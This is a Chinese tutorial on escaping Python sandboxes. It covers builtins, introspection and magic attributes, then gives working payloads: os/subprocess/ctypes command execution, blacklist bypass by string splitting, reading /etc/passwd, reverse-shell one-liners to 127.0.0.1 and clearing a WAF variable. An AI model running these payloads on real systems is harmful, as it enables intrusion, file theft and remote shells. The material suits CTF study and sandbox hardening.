Python 沙箱逃逸
Python 基础知识
Python 程序结构
模块(Module)
在 Python 中模块(Module)就是一个 .py 文件。当你 import 它时,Python 会先运行一次这个文件里的代码,然后把运行结果打包成一个模块对象。这个模块对象里保存了你在文件里定义的变量、函数和类,这个保存空间就是它的命名空间(其实就是一个字典,键是名字,值是对象)。
Python 会把这个模块对象存到一个全局字典 sys.modules 里,下次你再导入同名模块,就直接从这个字典里拿现成的,不会再运行一次文件里的代码。具体过程为:
- 先检查全局字典
sys.modules有没有这个模块对象- 有 → 直接返回,不会重复运行文件里的代码
- 没有 → 执行下一步
- 创建一个新的模块对象(
<class 'module'>) - 把模块对象插入到
sys.modules,键是模块名 - 执行模块文件里的代码,把顶层定义的名字(变量、函数、类等)放进模块对象的
__dict__(命名空间)
其中 __main__ 模块是 Python 运行时的第一个模块,因此在任何 Python 程序中,sys.modules["__main__"] 都指向当前入口模块,也就是运行环境的全局作用域。
__name__:模块全名;脚本直跑时为"__main__"__file__:源文件路径(内置模块可能没有)__spec__:导入规范对象,描述如何加载(PEP 451)__package__:包名(决定相对导入基准)__loader__:加载器对象__cached__:对应.pyc路径
包(Package)
包(Package)是包含 __init__.py 文件的目录,用于将多个模块按层次结构组织起来。包的作用是把多个模块按层次结构组织起来,就像文件夹管理文件一样。
技术上,包也是 <class 'module'> 对象。包和模块唯一区别是:普通模块来源是一个 .py 文件;包来源是一个 **目录 + __init__.py**。
另外包里面既可以包含模块还可以包含其他的包。在包对应的目录下:
.py文件 → 子模块目录(含
__init__.py)→ 子包
导入时,这些子模块 / 子包会被加载为模块对象,并放进所在包的命名空间里。例如:
1 | import mypkg.subpkg.mod |
会让:
mypkg.__dict__['subpkg']保存<module 'mypkg.subpkg'>mypkg.subpkg.__dict__['mod']保存<module 'mypkg.subpkg.mod'>
命名空间(Namespace)
命名空间(Namespace)就是名字到对象的映射关系,本质是一个字典,用来存放“某个名字当前指向哪个对象”的信息。
Python 中几乎所有东西(变量、函数、类、模块、包)都是对象,命名空间就是这些名字的存放位置。
常见的几类命名空间:
- 局部命名空间(Local):函数或方法内部定义的名字(参数、局部变量等)。
- 闭包命名空间(Enclosing):嵌套函数的外层函数作用域。
- 全局命名空间(Global):一个模块文件顶层定义的名字(模块级变量、函数、类等)。
- 内置命名空间(Builtins):Python 启动时加载的内置名字(
len、print、Exception等)。
变量查找遵循 LEGB( Local → Enclosing → Global → Builtins) 顺序,找不到就抛 NameError,保证了不同作用域的变量互不冲突。
在 Python 中,我们可以通过 globals() 和 locals() 函数分别获取当前模块的全局命名空间和当前作用域的局部命名空间,另外模块的 __dict__ 属性表示的是模块的命名空间。
1 | import math |
builtins 模块
什么是 builtins?
在 Python 中,有一组功能是默认就可以用的,比如:
1 | print("hello") |
这些函数我们从来没导入过,就可以直接用。其实它们都来自于一个叫 builtins 的模块。
builtins 是 Python 解释器自动导入的模块,包含了 Python 所有的内置函数、类型、异常、常量等。
你可以这样访问它:
1 | import builtins |
builtins 模块内容
内置函数(Built-in Functions)
这是我们最熟悉的一类,直接上常用函数举例:
| 函数 | 用途说明 |
|---|---|
print() |
打印输出 |
len() |
获取长度 |
type() |
获取类型 |
int() |
转换整数 |
str() |
转换字符串 |
input() |
获取用户输入 |
max()/min() |
获取最大/最小 |
sum() |
求和 |
sorted() |
排序 |
range() |
生成范围迭代器 |
abs() |
绝对值 |
isinstance() |
判断对象类型 |
enumerate() |
获取下标+元素 |
zip() |
打包多个迭代器 |
eval() / exec() |
动态执行字符串代码(危险函数,慎用) |
🔍 这些函数本质上等价于
builtins.print()、builtins.len()等,但我们用的时候可以省略builtins.,因为它们自动导入到当前作用域中。
内置类型(Built-in Types)
这些是 Python 的核心数据类型,都是类(type),可实例化。
| 类型名称 | 示例 | 用途 |
|---|---|---|
int |
int(123) |
整数类型 |
float |
float(3.14) |
浮点数类型 |
str |
'abc' |
字符串 |
bool |
True / False |
布尔值 |
list |
[1,2,3] |
列表 |
tuple |
(1,2,3) |
元组 |
dict |
{'a':1} |
字典 |
set |
{1,2,3} |
集合 |
bytes |
b'abc' |
字节序列 |
complex |
1+2j |
复数 |
object |
所有类的父类 | |
type |
所有类型的元类 |
这些你可以当作构造函数使用,也可以用来做类型判断。
1 | isinstance(123, int) # True |
内置异常(Built-in Exceptions)
Python 中所有异常类型也都定义在 builtins 中,比如:
| 异常名称 | 触发场景 |
|---|---|
Exception |
所有异常的基类 |
ValueError |
值不合法 |
TypeError |
类型不合法 |
NameError |
变量未定义 |
IndexError |
索引越界 |
KeyError |
字典键不存在 |
AttributeError |
属性不存在 |
ZeroDivisionError |
除以零 |
ImportError / ModuleNotFoundError |
导入失败 |
SyntaxError |
语法错误(解释器发现) |
IndentationError |
缩进错误 |
使用示例:
1 | try: |
内置常量(Built-in Constants)
这些是所有 Python 代码中都会默认可用的固定值:
| 常量 | 含义 |
|---|---|
True |
布尔真 |
False |
布尔假 |
None |
空值/无返回值 |
Ellipsis |
...,可用作占位符 |
NotImplemented |
某些操作未实现时返回的特殊值 |
使用场景
动态修改内置函数
如果你想重写一个内置函数,但仍然希望在某些情况下调用原始的内置函数,可以通过导入并使用 builtins 模块来实现。
1 | import builtins |
控制可用的内置函数
在使用 eval() 或 exec() 动态执行代码时,可以通过设置全局字典中的 __builtins__ 项,控制哪些内置函数可用或完全禁用内置功能。
这是一种用于 沙箱(sandbox)安全隔离、限制运行环境 的技巧,常用于执行用户提供的代码但限制其权限。
1 | code = "print('hello')" |
内省机制(Introspection)
Python 的 内省机制(Introspection) 是指程序在 运行时 可以检查对象的类型、属性、结构、方法等信息的能力。这也是 Python 被称为“动态语言”或“高度自省语言”的一个重要原因。
对象的类型/结构
| 工具/函数 | 作用 |
|---|---|
type(obj) |
返回对象的类型 |
id(obj) |
返回对象的内存地址(唯一标识) |
isinstance(obj, T) |
判断对象是否为某类或其子类 |
issubclass(A, B) |
判断类 A 是否是类 B 的子类 |
callable(obj) |
判断对象是否可调用(函数/类等) |
1 | print(type("hello")) # <class 'str'> |
获取对象成员
| 工具/函数 | 作用 |
|---|---|
dir(obj) |
列出对象的所有属性和方法名 |
hasattr(obj, name) |
判断是否有属性 |
getattr(obj, name) |
动态获取属性 |
setattr(obj, name, value) |
设置属性值 |
delattr(obj, name) |
删除属性 |
1 | class Person: |
命名空间与作用域
| 工具/函数 | 作用 |
|---|---|
globals() |
返回当前模块的全局变量字典(可读写) |
locals() |
返回当前局部作用域的变量字典(只读/只写) |
vars([obj]) |
返回对象的 __dict__,或当前局部变量字典 |
1 | x = 10 |
文档与帮助
| 工具/函数 | 作用 |
|---|---|
help(obj) |
显示帮助文档(交互式) |
obj.__doc__ |
返回对象的 docstring |
__annotations__ |
返回类型注解信息 |
1 | def add(x: int, y: int) -> int: |
inspect 模块
inspect 是 Python 标准库中的 introspection 工具集,可用于:
- 函数参数签名分析
- 获取源码、定义位置、文档
- 判断对象类型(是否函数、类、方法、生成器等)
| 常用函数 | 作用 |
|---|---|
inspect.getsource(obj) |
获取对象的源代码 |
inspect.getdoc(obj) |
获取对象的 docstring |
inspect.signature(func) |
获取函数的签名信息 |
inspect.isfunction(obj) |
是否是函数 |
inspect.getfile(obj) |
返回定义对象的源码文件路径 |
inspect.ismethod(obj) |
是否是方法(类中定义) |
inspect.getmembers(obj) |
获取成员名和值的元组列表 |
1 | import inspect |
魔术方法 / 属性
Python 中以 __xxx__ 命名的属性/方法被称为魔术方法(magic methods)或魔术属性。它们允许你自定义对象的行为、重载操作符、控制生命周期和访问机制等。
在沙箱逃逸、权限绕过、动态执行中,这些方法和属性也能被用作关键入口。
模块 / 作用域相关
__builtins__
__builtins__ 是由 Python 解释器自动注入的一个模块对象,它在每个作用域(全局)中默认存在。
1 | dir() |
模块对象本质上是一个命名空间容器,其中包含该模块中定义的所有内容,如函数、变量、类等。这里的命名空间容器是指模块对象中的
__dict__属性,记录了该模块中定义的所有名字与对象的映射。
__builtins__ 指向模块 builtins,该模块包含了所有 Python 的内置函数、异常、基本类型等,提供当前作用域中所有内置对象的访问能力。像 print()、len()、open()、Exception 等,都是从 __builtins__ 来的(例如 __builtins__.print)。
1 | dir(__builtins__) |
__import__
__import__ 是 Python 的一个 内置函数(builtin function),它由内置模块 builtins 提供。这个函数是所有 import xxx 语句的底层实现机制。你可以用它在运行时动态地导入模块。
1 | __import__('os').system('ls') |
提示
由于 __import__ 可接受 字符串参数,因此可以用于 绕过静态字符串过滤(如黑名单):
1 | __import__('o'+'s').system('ca'+'lc') |
__import__ 获取的是模块名称对应的 模块对象(module object)。
1 | __import__('os') |
__dict__
__dict__ 是 Python 中的大多数对象(如模块、类、实例、函数等)自带的一个内省属性,它以字典形式保存了该对象的命名空间(namespace),也就是这个对象所拥有的所有“可写属性”。
这是对象的一个内部属性,底层就是一个字典,记录了对象有哪些属性(包括你手动赋值的变量、函数等)。
1 | __import__('sys').modules['__main__'].__dict__ == globals() |
__class__
__class__ 是所有 Python 对象都拥有的一个属性,表示该对象的类,也就是该对象是由哪个类创建的。
1 | ''.__class__ |
提示
类 本身也是一个对象 —— 它是
type类的实例。所以当我们说“类对象”,就是指:一个对象,它是通过type类构造出来的。type类本身也是一个对象,它的类还是type(是自己创建自己的类)。builtins模块中提供了大量type的实例,也就是我们平时使用的 内置类型(类),例如str,int等。1
2
3
4str
<class 'str'>
''.__class__ == str
True
__bases__
__bases__ 是类对象(类型为 type 的对象)的一个属性,表示该类的直接父类(基类)组成的元组。另外类对象还有一个 __base__ 属性,它返回的是 __bases__ 元组的第一个元素。
1 | str.__bases__ |
提示
因为 Python 支持多重继承,一个类可以有多个父类,所以
__bases__返回的是一个 元组。1
2
3
4
5
6class A: pass
class B: pass
class C(A, B): pass
print(C.__bases__)
# 输出: (<class '__main__.A'>, <class '__main__.B'>)所有类最终都继承自
object,因为object是 所有新式类(Python 3 全部是新式类) 的根基类。而object.__base__返回一个空元组(),说明它没有基类。
__mro__
__mro__(Method Resolution Order)是类对象的一个属性,返回该类的方法解析顺序,即调用方法时按照哪些顺序查找类中的方法。
1 | ''.__class__.__mro__ |
提示
当沙箱清空了 __builtins__ 中的内置类时(没有 object 等内置的类 ),我们通常使用 __mro__ 来获得一个 object 类。
1 | ''.__class__.__mro__[-1] |
__subclasses__()
__subclasses__() 是类的一个方法,用于获取该类的所有直接子类。它返回一个列表,包含了当前运行环境中,从该类直接继承的所有类(子类对象)。
1 | class A: pass |
提示
因为所有的类都所有类最终都继承自 object,因此我们可以先找到 object 类,然后再通过 object.__subclasses__() 找到所需的类。
1 | # 2. 获取其所有子类 |
函数 / 方法的执行环境
__globals__
__globals__ 是 Python 函数对象独有的一个特殊属性,它指向一个字典对象,即该函数定义时所处模块的全局命名空间(也叫全局作用域,或 module namespace)。换句话说,**__globals__ 等价于函数定义所在模块的 globals() 返回值**。你可以通过这个属性,访问定义函数时所在模块的所有全局变量,包括导入的模块、函数、类、常量等。
__globals__ 是指函数定义时所在模块的作用域,只属于函数对象;而 __dict__ 是对象自身的命名空间字典,适用于大多数对象(模块、类、实例、函数等)。其中模块的 __dict__ 等于模块中定义的函数的 __globals__ 等于在模块中调用 globals() 函数的返回结果。
1 | foo = lambda:None |
提示
__globals__是绑定在函数上的,无论函数在何处被调用,它的__globals__都不会变,始终指向定义它的模块。某些内置函数(如
len、os.system)是 C 实现的,它们没有__globals__属性。
__init__
__init__ 是类的“构造器方法”,在类实例化时自动调用,用于初始化实例的属性。
对象的 __init__ 方法分为“默认的”和“重载过的”两种情况:
如果你 没有在类里定义
__init__,Python 会自动从其父类继承一个默认的__init__方法。这是 内置的 object 类 提供的默认__init__,它是一个 C 实现的“slot wrapper”,不是真正的 Python 函数。1
2str.__init__
<slot wrapper '__init__' of 'object' objects>如果你 定义了自己的
__init__方法,则你看到的就是一个标准的 Python 函数对象。1
2
3
4
5
6class B:
def __init__(self):
print("init from B")
print(B.__init__)
# 输出 <function B.__init__ at 0x...>
其中默认的 __init__ 是 C 实现的 slot wrapper,没有 __globals__ 属性;而只有Python 写的函数才有 __globals__,才能通过它来找到导入的模块。
因此在沙箱逃逸中常常需要寻找一个拥有重载 __init__ 的对象,然后通过 obj.__init__.__globals__ 来获得该对象的所在模块的全局命名空间。在这个全局全局命名空间中,我们可以找回被沙箱删除掉的 __builtins__、os 等模块。
提示
实际上在沙箱逃逸中,我们不一定要用 __init__ 函数的 __globals__ 属性来获取所在模块的全局命名空间,其他函数也是可以的。
__del__:一个类的析构函数,当一个对象被销毁时,它会被自动调用。__str__/__repr__:用于定义对象的字符串表示形式。__str__在使用str()或print()时调用,__repr__在使用repr()或交互式解释器时调用。如果未定义__str__,则默认使用__repr__。__eq__/__ne__/__lt__/__gt__/__le__/__ge__:定义对象之间的比较操作,如等于、不等于、小于、大于、小于等于、大于等于。__add__/__sub__/__mul__/__div__/__mod__/__pow__:定义基本数学运算符的行为,如加、减、乘、除、取模、幂运算等。__getitem__/__setitem__/__delitem__:定义对象通过索引访问、赋值和删除的行为,支持类似列表、字典的操作。__iter__/__next__:定义对象的迭代行为,支持for循环或手动调用next()。__call__:允许实例像函数一样被调用,即支持obj()这样的语法。__getattr__/__setattr__/__delattr__:用于拦截属性的访问、设置和删除操作,常用于自定义对象属性管理逻辑。
属性获取 / 设置
__getattribute__(name)
对象所有属性访问时,都会先调用它(无论属性是否存在),优先级高于 __getattr__。
可以在沙箱题中通过覆写它,拦截所有属性访问,甚至转发到真实对象。
__getattr__(name)
当访问不存在的属性时才调用它。在属性被删或被过滤的环境里,可以利用它返回一个伪造对象或转发到真实对象。
另外还有:
__setattr__(name, value):任何属性赋值时都会调用它。__delattr__(name):删除属性时调用。
__getitem__(key)
obj[key] 访问时调用,另外还有:
__setitem__(key, value):obj[key] = value时调用。__delitem__(self, key):del obj[key]时调用。
__dir__()
dir(obj) 调用时执行,返回属性列表。
沙箱逃逸目标
命令执行
builtin 模块
| 方法 | 多行支持 | 返回值 |
|---|---|---|
exec(code) |
✅ | None |
eval(expr) |
❌ | 计算结果 |
eval(compile(code,"exec")) |
✅ | None |
exec(执行 Python 代码字符串)
支持多行代码,执行结果是 None(无返回值),运行环境默认是当前全局/局部作用域。
1 | exec('__import__("os").system("ls")') |
也可以通过 builtins 模块间接调用:
1 | __builtins__.exec('__import__("os").system("ls")') |
eval(求值表达式)
只能执行单个表达式(不能直接多行、不能直接赋值语句等),返回表达式计算结果。
1 | eval('__import__("os").system("ls")') |
eval 无法直接达到执行多行代码的效果,使用 compile 函数并传入 exec 模式就能够实现。
1 | eval(compile('__import__("os").system("ls")', '<string>', 'exec')) |
Python 内置函数
compile(source, filename, mode)会把 源码字符串 编译成 可执行的代码对象(code object)。
source:要编译的 Python 代码(字符串、AST 等)filename:代码来源名字(给调试器/异常信息用,随便写,比如<string>、<payload>)mode:
'exec'→ 执行模式,可包含多行语句(for、def、import等)'eval'→ 表达式模式,只允许单个表达式'single'→ 单行模式,交互式执行(会回显)
os 模块
| 方法 | 是否走 Shell | 是否返回结果 | 是否替换当前进程 | 是否可传环境变量 |
|---|---|---|---|---|
os.system |
✅ | ❌(返回码) | ❌ | 间接(依赖 shell) |
os.popen |
✅ | ✅(输出) | ❌ | 间接(依赖 shell) |
posix_spawn |
❌ | ❌ | ❌ | ✅ |
spawnv |
❌ | ❌ | ❌ | ✅ |
exec* 系列 |
❌/PATH 可选 | ❌ | ✅ | 部分支持(带 e 的) |
fork+cmd |
可选 | 可选 | ❌ | 可选 |
system / popen 系列(最直观)
直接通过 shell 执行命令,结果返回码或输出内容。
1 | import os |
⚠️ system 会启动一个 shell(sh/bash),popen 还能直接捕获输出。
spawn / posix_spawn 系列(直接运行可执行文件)
直接执行可执行文件,可传参数和环境变量,依赖 execve。不走 shell,直接运行二进制。常用于不想依赖 shell 解析的场景(绕过某些字符过滤)。
1 | os.posix_spawn("/bin/ls", ["/bin/ls", "-l"], os.environ) |
posix_spawn→ 只有类 Unix 系统可用,Windows 会直接AttributeError。spawnv→ Windows 和类 Unix 都能用,但执行行为会跟平台相关。
exec* 系列(替换当前进程)
直接替换当前 Python 进程为目标程序(执行后 Python 不会返回)。
| 函数 | 路径方式 | 传参方式 | 环境变量指定 | PATH 搜索 |
|---|---|---|---|---|
execl |
绝对路径 | 分散参数 | ❌ | ❌ |
execle |
绝对路径 | 分散参数 | ✅ | ❌ |
execlp |
程序名 | 分散参数 | ❌ | ✅ |
execlpe |
程序名 | 分散参数 | ✅ | ✅ |
execv |
绝对路径 | 列表参数 | ❌ | ❌ |
execve |
绝对路径 | 列表参数 | ✅ | ❌ |
execvp |
程序名 | 列表参数 | ❌ | ✅ |
execvpe |
程序名 | 列表参数 | ✅ | ✅ |
例子:
1 | import os |
特点:
- 进程替换,没有返回值(当前 Python 进程终止)。
- 适合提权后直接切 shell。
fork + 命令执行(子进程运行)
手动 fork 出一个子进程执行命令。
1 | (__import__('os').fork() == 0) and __import__('os').system('ls') |
- 父进程继续运行,子进程执行命令。
- 常配合 exec 系列实现并行。
subprocess 模块
| 方法 | Python 版本 | 返回值类型 / 内容 | 失败处理 | 获取输出方式 | 是否走 shell |
|---|---|---|---|---|---|
Popen |
py2 / py3 | Popen 对象 |
无 | ❌(需 stdout=PIPE 后 .stdout.read()) |
默认否,可选 |
call |
py2 / py3 | int(exit code) |
无 | ❌ | 默认否,可选 |
check_call |
py2 / py3 | int(exit code) |
错误抛异常 | ❌ | 默认否,可选 |
check_output |
py2 / py3 | bytes(命令输出) |
错误抛异常 | ✅(直接返回 stdout) | 默认否,可选 |
run |
py3 | CompletedProcess 对象 |
可选抛异常 | ✅(需 capture_output=True 或 stdout=PIPE) |
默认否,可选 |
getoutput |
py3 | str(命令输出) |
无 | ✅(直接返回 stdout) | 总是 shell=True |
getstatusoutput |
py3 | (int, str) |
无 | ✅(返回 exit code 和 stdout) | 总是 shell=True |
Popen 系列(底层构造,灵活度最高)
直接启动一个新进程,可以配置 stdin / stdout / stderr 管道、是否用 shell。
1 | subprocess.Popen(args, bufsize=-1, executable=None, |
args:要执行的命令(字符串或列表)stdout/stderr/stdin:控制标准流(默认继承父进程)shell:是否通过 shell 执行(/bin/sh或cmd.exe)
1 | import subprocess |
阻塞执行并获取状态/输出
调用后会等外部命令执行结束再返回(除非超时或被信号中断)
1 | # python2 |
ctypes 模块
ctypes 模块可以直接调用 C 语言动态链接库(DLL / so / dylib)中的函数,比如 system(),从而执行系统命令。
Linux
在类 Unix 系统中,system 函数通常在 libc 里,可以用 ctypes.CDLL(None) 或直接指定库名。
1 | import ctypes |
或者更稳妥(显式加载 libc):
1 | import ctypes, ctypes.util |
沙箱中可以这么用:
1 | __import__('ctypes').CDLL(None).system('ls /'.encode()) |
Windows
Windows 上 ctypes.CDLL(None) 不可用,system 在 MSVCRT 或 UCRT 库中。
在 POSIX 系统(Linux/macOS)里,
CDLL(None)会让ctypes调用底层的dlopen(NULL, flags)。dlopen(NULL, ...)的语义是:返回当前进程已经加载的主程序(和它依赖的库)的符号表。Windows 下
ctypes.CDLL底层调用的是LoadLibrary()(或LoadLibraryEx())。传None相当于LoadLibrary(NULL),而在 Windows API 里:NULL不是 “当前进程的符号表”,而是被当成一个无效指针 → 导致ctypes内部想解析路径时报错(你看到的TypeError: argument of type 'NoneType' is not iterable就是这里触发的)Windows 如果你想拿到“当前进程已加载的模块”,得用
GetModuleHandle(),而且要传一个已经加载的 DLL 名,比如:
1
2 import ctypes
handle = ctypes.windll.kernel32.GetModuleHandleW("msvcrt.dll")
1 | import ctypes |
沙箱绕过写法:
1 | __import__('ctypes').CDLL('msvcrt').system(b'cmd /c dir') |
timeit 模块
1 | import timeit |
platform 模块
1 | import platform |
pty 模块
仅限 Linux 环境
1 | import pty |
_posixsubprocess 模块
1 | import os |
结合 __loader__.load_module(fullname) 导入模块
1 | __loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False) |
反弹 shell
1 | import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh") |
1 | s=__import__('socket').socket(__import__('socket').AF_INET,__import__('socket').SOCK_STREAM);s.connect(("127.0.0.1",12345));[__import__('os').dup2(s.fileno(),i) for i in range(3)];__import__('pty').spawn("/bin/sh") |
构造代码对象进行 RCE
CodeType 是 Python 内置的代码对象类型,表示编译后的字节码(由 compile() 生成)。所有函数的 __code__ 属性就是一个 CodeType 对象。CodeType 中包含了:
co_code:字节码指令co_consts:常量池co_names:全局变量名co_varnames:局部变量名- 以及堆栈大小、参数个数、调试信息等
Python 不允许直接修改 code.co_code 等属性(只读)。但是:
- 可以给函数直接换一个新的
__code__对象。 - 可以构造新的 CodeType 对象(或者用
replace()修改),实现任意指令注入。 - 可以用
exec()或types.FunctionType()直接运行这个 CodeType 对象。
因此我们可以通过 CodeType 进行 RCE。
执行 CodeType 对象
有两种方式可以执行代码对象:
方法 1:exec 模式
1
2
3
4
5
6import types
def read():
print(open("/etc/passwd").read())
exec(read.__code__, {'__builtins__': __builtins__})方法 2:FunctionType 包装
1
2
3
4
5
6
7import types
def read():
print(open("/etc/passwd").read())
fn = types.FunctionType(read.__code__, {'__builtins__': __builtins__})
fn()
替换函数的 code
1 | def read(): |
构造新的 CodeType 对象
不同版本 CodeType 的构造参数不同:
- Python ≤ 3.7:参数少(无
posonlyargcount/qualname)。 - Python 3.8:新增
posonlyargcount,并引入 **code.replace()**。 - Python 3.11:结构改动大,引入
co_linetable、co_exceptiontable。
查看当前版本需要的参数:
1 | import types |
手动构造(不推荐,容易踩版本坑),以 Python 3.11 为例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import types
def read():
print(open("/etc/passwd").read())
c = read.__code__
CodeType = type(c)
codeobj = CodeType(
c.co_argcount, c.co_posonlyargcount, c.co_kwonlyargcount,
c.co_nlocals, c.co_stacksize, c.co_flags,
c.co_code, c.co_consts, c.co_names, c.co_varnames,
c.co_filename, c.co_name, c.co_qualname,
c.co_firstlineno, c.co_linetable, c.co_exceptiontable,
c.co_freevars, c.co_cellvars
)
exec(codeobj, {'__builtins__': __builtins__})用 replace(推荐,3.8+)
1
2
3
4
5
6
7def read():
print(open("/etc/passwd").read())
new_code = read.__code__.replace(
co_consts=read.__code__.co_consts + ('/etc/passwd',)
)
exec(new_code, {'__builtins__': __builtins__})用 compile 直接生成 CodeType
1
2payload_code = compile('print(open("/etc/passwd").read())', '<x>', 'exec')
exec(payload_code, {'__builtins__': __builtins__})
读写文件
file 类
1 | # Python2 |
open 函数
1 | open('/etc/passwd').read() |
codecs 模块
1 | import codecs |
get_data 函数
FileLoader 类
1 | # _frozen_importlib_external.FileLoader.get_data(0,<filename>) |
相比于获取 __builtins__ 再使用 open 去进行读取,使用 get_data 的 payload 更短.
linecache 模块
getlines 函数
1 | import linecache |
getline 函数需要第二个参数指定行号
1 | __import__("linecache").getline('/etc/passwd',1) |
license 函数
在 Python 里,license 不是字符串,而是一个特殊对象:
1 | type(license) |
它是 _sitebuiltins._Printer 类的实例,平时你直接输入 license(),它会打印 Python License 信息。
这个 _Printer 类的核心逻辑为:
1 | __builtins__.license._Printer__filenames |
- 它内部有一个
_Printer__filenames列表,里面是要显示的文件路径(通常是 Python 自带的 LICENSE 文本)。 - 调用这个对象时(
license()),它会按_Printer__filenames里的路径读取文件并输出。
如果我们能够修改 _Printer__filenames 文件列表就能任意读,例如:
1 | __builtins__.__dict__["license"]._Printer__filenames = ["/etc/passwd"] |
这样一来,如果执行 license(),它就会打开 /etc/passwd 并打印出来。
1 | license() # 会打印 /etc/passwd |
枚举目录
os 模块
1 | import os |
glob 模块
1 | import glob |
获取函数信息
python 中的每一个函数对象都有一个 __code__ 属性.这个__code__ 属性就是上面的代码对象,存放了大量有关于该函数的信息.
假设上下文存在一个函数
1 | def get_flag(some_input): |
__code__ 属性包含了诸多子属性,这些子属性用于描述函数的字节码对象,下面是对这些属性的解释:
co_argcount: 函数的参数数量,不包括可变参数和关键字参数。co_cellvars: 函数内部使用的闭包变量的名称列表。co_code: 函数的字节码指令序列,以二进制形式表示。co_consts: 函数中使用的常量的元组,包括整数、浮点数、字符串等。co_exceptiontable: 异常处理表,用于描述函数中的异常处理。co_filename: 函数所在的文件名。co_firstlineno: 函数定义的第一行所在的行号。co_flags: 函数的标志位,表示函数的属性和特征,如是否有默认参数、是否是生成器函数等。co_freevars: 函数中使用的自由变量的名称列表,自由变量是在函数外部定义但在函数内部被引用的变量。co_kwonlyargcount: 函数的关键字参数数量。co_lines: 函数的源代码行列表。co_linetable: 函数的行号和字节码指令索引之间的映射表。co_lnotab: 表示行号和字节码指令索引之间的映射关系的字符串。co_name: 函数的名称。co_names: 函数中使用的全局变量的名称列表。co_nlocals: 函数中局部变量的数量。co_positions: 函数中与位置相关的变量(比如闭包中的自由变量)的名称列表。co_posonlyargcount: 函数的仅位置参数数量。co_qualname: 函数的限定名称,包含了函数所在的模块和类名。co_stacksize: 函数的堆栈大小,表示函数执行时所需的堆栈空间。co_varnames: 函数中局部变量的名称列表。
下面是一些使用示例:
获取源代码中的常量
可以使用 __code__.co_consts 这种方法进行获取, co_consts 可以获取常量.
1 | get_flag.__code__.co_consts |
获取变量
则可以使用如下的 payload 获取 get_flag 函数中的变量信息
1 | __globals__ |
获取函数字节码序列
get_flag 函数的 .__code__.co_code, 可以获取到函数的字节码序列:
1 | get_flag.__code__.co_code |
字节码并不包含源代码的完整信息,如变量名、注释等。但可以使用 dis 模块来反汇编字节码并获取大致的源代码.
1 | bytecode = get_flag.__code__.co_code |
虽然能获取但不太方便看,如果能够获取 __code__ 对象,也可以通过 dis.disassemble 获取更清晰的表示.
1 | bytecode = get_flag.__code__ |
获取环境信息
获取 python 版本
sys 模块
1 | import sys |
platform 模块
1 | import platform |
获取 linux 版本
platform 模块
1 | import platform |
获取路径
1 | sys.path |
获取全局变量
globals 函数
globals 函数可以获取所有的全局变量。
help 函数
help 函数也可以获取某个模块的帮助信息,包括全局变量, 输入 __main__ 之后可以获取当前模块的信息。
1 | help> __main__ |
相比 globals() 而言 help() 更短,在一些限制长度的题目中有利用过这个点。
vars 函数
vars() 函数返回该对象的命名空间(namespace)中的所有属性以字典的形式表示。当前模块的所有变量也会包含在里面,一些过滤链 globals 和 help 函数的场景可以尝试使用 vars()
获取模块内部函数或变量
获取指定模块内部变量
获取模块内部函数或变量的目的主要是为了信息泄露或篡改。比如 waf.py 中存在某个变量定义了危险字符列表,我们可以考虑先获取这个变量然后将其清空。
可以先获取 load_module,然后通过 load_module 导入特定的模块,进而篡改其中变量。
1 | list(().__class__.__bases__.__iter__().__next__().__subclasses__().__getitem__(84).load_module("waf").__dict__.values()).__getitem__(8).clear() |
获取 __main__ 中变量
例如获取 __main__
1 | sys.modules['__main__'].__dict__['app'] |
获取命令空间中的变量/模块/函数等
__globals__是一个特殊属性,能够以 dict 的形式返回函数(注意是函数)所在模块命名空间的所有变量,其中包含了很多已经引入的 modules。
1 | url_for.__globals__['request'] |
常见沙箱
exec 执行
Python 的 exec() 是一个内建函数,用来执行动态生成的 Python 代码。也就是说,exec() 可以执行储存在字符串或对象中的 Python 代码。这是 exec() 的基本语法:
1 | exec(object, globals, locals) |
object必需参数,是一个字符串,或者是任何可以被compile()函数转化为代码对象的对象。globals可选参数,是一个字典,表示全局命名空间 (全局变量),如果提供了,则在执行代码中被用作全局命名空间。locals可选参数,可以是任何映射对象,表示局部命名空间 (局部变量),如果被提供,则在执行代码中被用作局部命名空间。如果两者都被忽略,那么在exec()调用的地方决定执行的命名空间。
默认情况下,exec 使用调用处的全局/局部环境,但如果传入自己的 globals / locals,可以人为隔离环境。
exec 在 Python2 还有另外一种写法:
1 | exec command in _global, _local |
command→ 要执行的 Python 代码(字符串 / 代码对象)_global→ 全局作用域字典_local→ 局部作用域(可省略,省略时_global同时用作局部作用域)
示例沙箱
1 | print( |
这种沙箱思路:
- 用空字典替换
__builtins__,试图让执行环境没有内置函数/类(open、eval、exec、__import__等)。 - 同时限制全局和局部命名空间。
有时候 __builtins__ 还会被替换为修改过的 __builtins__,其中特殊函数例如 __import__ 会被添加 Hook,并且删除其中部分函数。
1 | #!/usr/bin/env python2 |
eval 执行
eval 的执行与 exec 基本一致,都可以对命名空间进行限制,例如下面的代码,在这个示例中就是直接将命名空间置空,这样就使得内置的函数都无法使用。
1 | print( |
eval 与 exec 的区别再于 exec 允许 \n 和 ; 进行换行,而 eval 不允许。并且 exec 不会将结果输出出来,而 eval 会。如果加入了 compile 函数则需要按照 compile 函数的模式进行区分。
基于 audit hook 的沙箱
Python 3.8 中引入的一种 audit hook 的新特性。审计钩子可以用来监控和记录 Python 程序在运行时的行为,特别是那些安全敏感的行为,如文件的读写、网络通信和动态代码的执行等。
sys.addaudithook(hook) 的参数 hook 是一个函数,它的定义形式为 hook(event: str, args: tuple)。其中,event 是一个描述事件名称的字符串,args 是一个包含了与该事件相关的参数的元组。
一旦一个审计钩子被添加,那么在解释器运行时,每当发生一个与安全相关的事件,就会调用该审计钩子函数。event 参数会包含事件的描述,args 参数则包含了事件的相关信息。这样,审计钩子就可以根据这些信息进行审计记录或者对某些事件进行阻止。
注意,由于 sys.addaudithook() 主要是用于增加审计和安全性,一旦一个审计钩子被添加,它不能被移除。这是为了防止恶意代码移除审计钩子以逃避审计。
举例来说,我们可以定义这样的一个审计钩子,使得每次触发 open 事件都会打印一条消息:
1 | import sys |
然后,如果运行 open('myfile.txt'),就会得到 Opening file: ('myfile.txt',) 这样的输出。
